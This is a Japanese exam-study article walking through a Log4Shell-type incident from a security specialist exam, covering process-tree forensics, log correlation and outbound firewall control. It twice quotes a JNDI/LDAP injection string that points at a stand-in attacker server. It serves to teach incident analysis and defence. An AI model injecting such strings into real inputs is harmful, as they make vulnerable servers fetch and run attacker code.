令和4年度 秋期 情報処理安全確保支援士試験 午後Ⅰ 問2｜ログ出力が攻撃の引き金になる日——情報処理安全確保支援士で学ぶLog4Shell型脆弱性のインシデント事例

この記事で扱うセキュリティ事例

• 試験区分: 情報処理安全確保支援士
• 出典: 令和4年度 秋期 情報処理安全確保支援士試験 午後Ⅰ 問2
• 主なテーマ: ログ出力ライブラリの脆弱性（JNDIインジェクション、Log4Shell型のリモートコード実行）、プロセスの親子関係を手がかりにしたインシデント調査、アウトバウンド通信の制御、フォワードプロキシとURLフィルタリング

この記事は「情報処理安全確保支援士 午後問題 全70問」シリーズの1本です。→ 全70問の一覧・テーマ別索引はこちら

導入: なぜこの事例が重要なのか

「ログを書き出す」——これほど無害に見える処理はありません。サーバが受け取ったリクエストを記録に残すだけの、地味で日常的な作業です。ところが、そのログ出力こそが、サーバを乗っ取られる入口になることがあります。情報処理安全確保支援士試験で出題されたこのセキュリティインシデント事例は、まさに「ログを書いただけで攻撃が成立する」という、直感に反する事態を扱っています。

舞台となるのは、食品製造業を営む中堅企業です。インターネットに公開していた一台のサーバが、ある日突然、身に覚えのない処理でCPU（中央演算処理装置。コンピュータの計算を担う中枢）を使い続けるようになる。調査を進めると、攻撃者が利用したのは、システムが使っていたごくありふれたオープンソースのログ出力ライブラリに潜む脆弱性でした。

この記事を読むと、攻撃者がどうやってログ出力の処理を悪用してサーバ上で任意のプログラムを実行させたのか、調査担当者がどんな痕跡から侵害を突き止めたのか、そしてなぜ同じ攻撃が一台では成功し、もう一台では失敗したのかが見えてきます。受験対策としては、ログから攻撃の流れを再構成する力と、侵害を前提としたアクセス制御の設計力が問われる良問です。実務では「未修正の脆弱性が必ず残る」という前提に立った多層防御の考え方を学べます。

インシデントの概要

舞台は、従業員200名ほどの食品製造業を営むU社です。社内のシステムは情報システム部が管理していました。

U社のネットワークは、インターネットとの境界にFW（ファイアウォール。通信を許可・拒否するための関所のような装置）を置き、その内側を二つの区画に分けていました。一つは社員が使うPCが並ぶPC-LAN、もう一つはインターネットに公開するサーバを置くDMZ（非武装地帯。外部からアクセスされる前提で社内ネットワークから隔離した区画）です。

DMZには三台のサーバがありました。一台目はプロキシサーバ。社員PCがインターネットへアクセスするとき、その通信を肩代わりして中継するフォワードプロキシ（社内から外部への通信を代理で行うサーバ）です。このサーバはURLフィルタリングソフト（アクセス先のURLを許可・拒否する仕組み）を組み込んでおり、HTTPSの通信内容も一度復号して中身を確認できる構成になっていました。二台目は予約サーバ。工場見学のオンライン予約を受け付けるサーバで、Javaで作られたB社製のパッケージソフト「Tソフト」を使っていました。見学希望者がHTTPSでアクセスして空き日時を選び、必要事項を入力すると予約が完了します。また、工場見学の空き状況は、U社のSNSアカウントを通じてクラウド上のSNS投稿用サーバへ定期的に投稿していました。三台目は会員サーバ。顧客向けの会員サイトで、こちらもJavaで作られており、利用者IDとパスワードによるログインを必要としていました。

FWのフィルタリングルールには、一つ見落としがちな設定が含まれていました。予約サーバからインターネットへの通信は「全て許可」されていたのです。一方で、会員サーバからインターネットへ出ていく通信を許可するルールはありませんでした。この一行の差が、後にインシデントの明暗を分けることになります。

何が起きたのか

ある日、情報システム部の運用監視で、予約サーバのCPU使用率が高い状態のまま下がらないという異常が見つかりました。

予約サーバでは普段、Tソフトを構成する二つのプロセス（実行中のプログラムの単位）——BSoftMainとSBMain——が動いています。しかしこの日は、プロセス一覧のなかに「run」という、見たことのない名前のプロセスが混じっていました。担当のD主任がプロセスの履歴を確認すると、このrunプロセスは13時07分00秒を境に、急にCPU使用率を上げ始めていたことが分かりました。

D主任は、これはインシデント（情報セキュリティ上の事故、またはその疑い）かもしれないと判断し、予約サーバの調査に乗り出します。

まず手がかりにしたのが、13時07分00秒時点のプロセス一覧でした。そこには三つのプロセスが記録されていました。プロセスID100番は10時11分15秒から動いているBSoftMain、ID110番は13時00分00秒から動いているSBMain、そしてID200番が、問題のrunプロセスです。runの開始時刻は13時06分30秒。注目すべきは、このrunプロセスの「親プロセス」がID100番、つまりTソフトのBSoftMainだったことです。プロセスには、それを生み出した親が記録されます。runは、Tソフトのプロセスから生まれた子だったのです。

次にD主任は、サーバが外部とどんな通信をしていたかを示すコネクション一覧を確認しました。すると、SBMain（ID110番）は二つの正規の通信先とHTTPSでつながっている一方、runプロセス（ID200番）は、見覚えのない宛先とHTTP（暗号化されていないWeb通信）でつながっていました。その宛先のIPアドレス（ネットワーク上の住所にあたる番号）を調べると、海外のものでした。予約サーバが本来通信するはずのない相手です。

外部の不審なサーバと勝手に通信している——D主任は侵害が現実に起きていると確信し、ただちに予約サーバをネットワークから切り離しました。被害の拡大を止める初動です。

ここからが原因の追究です。D主任は、runプロセスの正体を突き止めるには、その親であるTソフトを調べる必要があると考えました。子であるrunは、親であるTソフトのプロセスから生み出された——その事実が、Tソフトに何か起きていることを物語っていたからです。

B社に問い合わせると、U社が使っているバージョンのTソフトに脆弱性があると判明します。Tソフトは、オープンソースのライブラリX——Javaのログ出力ライブラリ（プログラムの動作記録を書き出すための部品）——を内部で使っていました。そして、このライブラリXに、リモートから任意のコードを実行できてしまう脆弱性Yが潜んでいたのです。

脆弱性Yの仕組みは、こうです。ライブラリXには、ログに書き出す文字列のなかに特定の指示が含まれていると、外部のオブジェクト（プログラム部品）を読み込んで処理する機能があり、それが標準で有効になっていました。攻撃者が、ログに記録される文字列のなかに細工した攻撃文字列を紛れ込ませると、ライブラリXがその文字列を「ただの記録対象」ではなく「実行すべき指示」として解釈してしまうのです。

その攻撃文字列が、`＄{jndi＋ldap://攻撃者のサーバ/...}`という形をしていました。JNDI（Java Naming and Directory Interface。Javaから外部のディレクトリサービスなどを参照するための仕組み）と、LDAP（Lightweight Directory Access Protocol。ユーザ情報やリソース情報を管理・検索するためのプロトコル）を組み合わせた指示です。ライブラリXはこの文字列を見ると、指定されたIPアドレスのLDAPサーバへ問い合わせを送ります。攻撃者が用意したLDAPサーバは、その問い合わせに対して「このURLからJavaクラス（プログラム部品）を取りに行け」という案内を返す。ライブラリXは素直にその案内に従い、攻撃者のWebサーバから悪意あるJavaクラスを取得して実行してしまいます。実行されたクラスは、さらに別の攻撃者用URLから本体のファイルをダウンロードし、保存して起動する——こうして、見覚えのないrunプロセスが生まれたのです。

D主任は、予約サーバのアクセスログを13時00分から13時16分まで丹念に追いました。すると13時04分32秒、ある外部IPアドレスからのリクエストに、ユーザエージェント（アクセス元のブラウザやソフトを示す情報。これもログに記録される）として`＄{jndi＋ldap://攻撃者サーバ/JExp}`という攻撃文字列が紛れ込んでいるのを見つけます。攻撃者は、わざわざログに残る項目に攻撃文字列を仕込んでいた。ログ出力こそが発火点だと知っていたからです。

さらにFWの通信ログと突き合わせると、攻撃の全体像が時系列でつながりました。13時04分32秒に攻撃文字列を含むリクエストが届き、13時05分50秒に予約サーバが攻撃者のサーバへLDAPで問い合わせを送り、その直後にHTTPで悪意あるJavaクラスを取得、13時06分30秒にrunプロセスが起動し、外部の攻撃者サーバへの通信が始まっていたのです。runプロセスの正体は、サーバの計算資源を勝手に使う暗号資産採掘（仮想通貨をマイニングする処理。サーバのCPUを酷使する）だったと考えられました。CPU使用率が下がらなかった理由が、ここで完全に説明されたのです。